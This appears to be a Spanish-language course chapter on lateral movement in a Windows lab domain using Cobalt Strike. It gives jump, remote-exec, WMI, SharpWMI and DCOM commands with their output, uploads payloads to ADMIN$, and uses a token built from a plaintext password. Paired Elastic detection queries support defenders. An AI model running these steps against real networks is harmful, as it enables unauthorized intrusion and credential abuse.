Lateral Movement
Lateral Movement
Moverse lateralmente entre computadoras en un dominio es importante para acceder a información/material sensible y obtener nuevas credenciales. Cobalt Strike proporciona tres estrategias para ejecutar Beacons/código/comandos en objetivos remotos.
La primera y más conveniente es usar el comando integrado jump - la sintaxis es jump [method] [target] [listener]. Escribe jump para ver una lista de métodos. Esto generará un payload Beacon en el objetivo remoto, y si se usa un listener P2P, se conectará automáticamente.
beacon> jump
Beacon Remote Exploits
======================
Exploit Arch Description
------- ---- -----------
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Cada method tiene sus propias preocupaciones OPSEC - revisaremos algunos de los principales indicadores de cada técnica a medida que las analicemos.
La segunda estrategia es usar el comando integrado remote-exec - la sintaxis es remote-exec [method] [target] [command]. Escribe remote-exec para ver una lista de métodos.
beacon> remote-exec
Beacon Remote Execute Methods
=============================
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI
Los comandos remote-exec simplemente proporcionan un medio para ejecutar comandos en un objetivo remoto. Por lo tanto, no son exclusivos para movimiento lateral, pero pueden ser usados como tal. Requieren más trabajo manual para gestionar el payload, pero ofrecen un mayor grado de control sobre lo que se ejecuta en el objetivo. También necesitas conectarte manualmente a Beacons P2P usando connect o link.
La tercera es usar otros elementos primitivos de Cobalt Strike (powershell, execute-assembly, etc.) para implementar algo completamente personalizado. Esto requiere la mayor cantidad de esfuerzo, pero también ofrece el mayor grado de control. Los métodos personalizados pueden integrarse en los comandos jump y remote-exec usando Aggressor.
Cada una de estas estrategias es compatible con las diversas técnicas descritas en el capítulo User Impersonation. Por ejemplo, puedes usar pth para suplantar a un usuario y luego jump para moverte lateralmente.
Algunos comandos de Seatbelt también pueden ejecutarse de forma remota, lo cual puede ser útil para enumerar sus configuraciones y defensas antes de saltar hacia él.
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe OSInfo -ComputerName=web
Hostname : web
Domain Name : dev.cyberbotic.io
ProductName : Windows Server 2022 Datacenter
EditionID : ServerDatacenter
ReleaseId : 2009
Build : 20348
BuildBranch : fe_release
CurrentMajorVersionNumber : 10
CurrentVersion : 6.3
Architecture : AMD6
La mayoría de las técnicas de movimiento lateral aprovechan la funcionalidad legítima de administración de Windows, ya que este tipo de tráfico y actividad no es inusual en una red.
Windows Remote Management
Los métodos winrm y winrm64 pueden ser usados para objetivos de 32 y 64 bits según corresponda.
El SMB Beacon es una excelente opción al moverse lateralmente, porque el protocolo SMB se usa ampliamente en un entorno Windows, por lo que este tráfico se mezcla muy bien.
beacon> jump winrm64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web.dev.cyberbotic.io via WinRM
[+] host called home, sent: 225172 bytes
[+] established link to child beacon: 10.10.122.30
WinRM devolverá un Beacon de alta integridad ejecutándose como el usuario con el que estás interactuando en la máquina remota.
Este nuevo Beacon se ejecutará dentro de wsmprovhost.exe, que es el "Host process for WinRM plug-ins". Esto se usa siempre que se utiliza WinRM, de forma legítima o no. Puedes buscar eventos de inicio de procesos, pero esto producirá muchos falsos positivos si los administradores del sistema están usando WinRM legítimamente.
event.category: process and event.type: start and process.name: wsmprovhost.exe
El medio más probable de identificar este movimiento lateral es buscar en los registros de bloques de scripts de PowerShell en busca de artefactos conocidos del payload.
event.category: process and powershell.file.script_block_text: "$var_runme.Invoke([IntPtr]::Zero)"
PsExec
Los comandos psexec / psexec64 funcionan subiendo un archivo binario de servicio al sistema objetivo, luego crean e inician un servicio de Windows para ejecutar dicho binario. Los Beacons ejecutados de esta manera se ejecutan como SYSTEM.
beacon> jump psexec64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (\\web\ADMIN$\768870c.exe)
Started service 768870c on web.dev.cyberbotic.io
[+] established link to child beacon: 10.10.122.30
Una forma confiable de buscar PsExec es buscando eventos de servicio creado 4697. Estos eventos suelen ser bastante raros, a menos que un servicio venga con una instalación de software o algo similar. Cobalt Strike genera una cadena alfanumérica aleatoria de 7 caracteres que utiliza tanto para el nombre del servicio como para el nombre del archivo binario. Al configurar el binPath para el servicio, utiliza una ruta UNC al recurso compartido ADMIN$.
event.code: 4697 and winlog.event_data.ServiceFileName: \\\\*\\ADMIN$\\*.exe
psexec_psh no copia un binario al objetivo, sino que ejecuta un comando PowerShell de una sola línea (siempre de 32 bits). El patrón que usa por defecto es %COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ....
beacon> jump psexec_psh web smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (PSH)
Started service bd119dd on web
[+] established link to child beacon: 10.10.122.30
Windows Management Instrumentation (WMI)
Como habrás notado, WMI no forma parte del comando jump pero sí forma parte de remote-exec. El método remote-exec utiliza "process call create" de WMI para ejecutar cualquier comando que especifiquemos en el objetivo. La forma más directa de usar esto es subir un payload al sistema objetivo y utilizar WMI para ejecutarlo.
Puedes subir un archivo a una máquina remota haciendo cd al path UNC deseado y luego usar el comando upload.
beacon> cd \\web.dev.cyberbotic.io\ADMIN$
beacon> upload C:\Payloads\smb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
Started process 3280 on web.dev.cyberbotic.io
El proceso ahora se está ejecutando en WEB, por lo que ahora necesitamos conectarnos a él.
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30
Al igual que con WinRM, el proceso se ejecutará en un contexto elevado del usuario que lo llama.
Cuando un binario se ejecuta a través de WMI de esta manera, será un hijo de WmiPrvSE.exe. Por lo tanto, podemos buscar eventos de creación de procesos donde WmiPrvSE sea el padre.
event.category: process and event.type: start and process.parent.name: WmiPrvSE.exe
The Curious Case of CoInitializeSecurity
La implementación interna de WMI en Beacon utiliza un Beacon Object File, ejecutado mediante la función Aggressor beacon_inline___execute. Cuando se ejecuta un BOF, se puede llamar al objeto COM CoInitializeSecurity, que se utiliza para establecer el contexto de seguridad para el proceso actual. Según la documentación de Microsoft, esto solo se puede llamar una vez por proceso.
La desafortunada consecuencia es que si CoInitializeSecurity se llama en el contexto de, por ejemplo, "User A", entonces futuros BOFs pueden no ser capaces de heredar un contexto de seguridad diferente ("User B") durante la vida útil del proceso Beacon.
Un ejemplo de esto puede ser el siguiente:
beacon> make_token DEV\jking Qwerty123
[+] Impersonated DEV\bfarmer
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
CoInitializeSecurity already called. Thread token (if there is one) may not get used
[-] Could not connect to web.dev.cyberbotic.io: 5
Sabemos que jking es administrador local en WEB, pero debido a que CoInitializeSecurity ya se ha llamado (probablemente en el contexto de bfarmer), WMI falla con acceso denegado. Como solución, la ejecución de WMI debe provenir de un proceso diferente. Esto se puede lograr con comandos como spawn y spawnas, o incluso execute-assembly con una herramienta como SharpWMI.
beacon> execute-assembly C:\Tools\SharpWMI\SharpWMI\bin\Release\SharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:\Windows\smb_x64.exe"
[*] Host : web.dev.cyberbotic.io
[*] Command : C:\Windows\smb_x64.exe
[*] Creation of process returned : 0
[*] Process ID : 3436
DCOM
Beacon no tiene capacidades integradas para interactuar a través de Distributed Component Object Model (DCOM), por lo que debemos utilizar una herramienta externa como Invoke-DCOM. Veremos en un módulo posterior cómo se puede integrar esto en el comando jump.
beacon> powershell-import C:\Tools\Invoke-DCOM.ps1
beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:\Windows\smb_x64.exe
Completed
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30
DCOM es más complicado de detectar, ya que cada "Method" funciona de manera diferente. En el caso particular de MMC20.Application, el proceso generado será un hijo de mmc.exe.
event.category: process and event.type : start and process.parent.name: mmc.exe
Los procesos iniciados a través de DCOM también pueden observarse donde el padre es svchost.exe con argumentos de línea de comandos -k DcomLaunch.